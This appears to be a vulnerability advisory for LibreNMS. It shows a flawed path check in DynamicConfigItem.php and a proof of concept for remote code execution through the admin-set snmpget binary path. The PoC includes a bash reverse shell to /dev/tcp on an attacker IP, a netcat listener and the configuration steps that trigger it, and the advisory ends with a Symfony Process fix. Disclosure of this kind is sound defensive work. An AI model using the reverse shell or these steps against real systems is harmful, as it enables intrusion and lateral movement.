Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:

// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
    if (preg_match('/[`;#$|&\'"><(]/', $path)) {
        return false;
    }
    return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
    $value == $this->sanitizePath($value);
    return $value !== false && is_file($value) && is_executable($value);
}

Attack Scenarios

PoC

Prerequisites

• Valid administrator credentials for LibreNMS web interface
• Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null

Save this as /tmp/rev_shell.sh and make it executable:

chmod +x /tmp/rev_shell.sh

Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

nc -lvnp 9001

Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to:

• Settings → External → Binaries
• Locate snmpget configuration
• Update the value to: /tmp/rev_shell.sh
• Click Save

Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:

Impact Summary

Who Is Impacted

• LibreNMS installations where attacker has admin credentials AND file system access
• Organizations using LibreNMS for network monitoring
• Systems monitored by LibreNMS (lateral movement risk)

Remediation

Replace shell_exec() with Symfony Process component:

// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();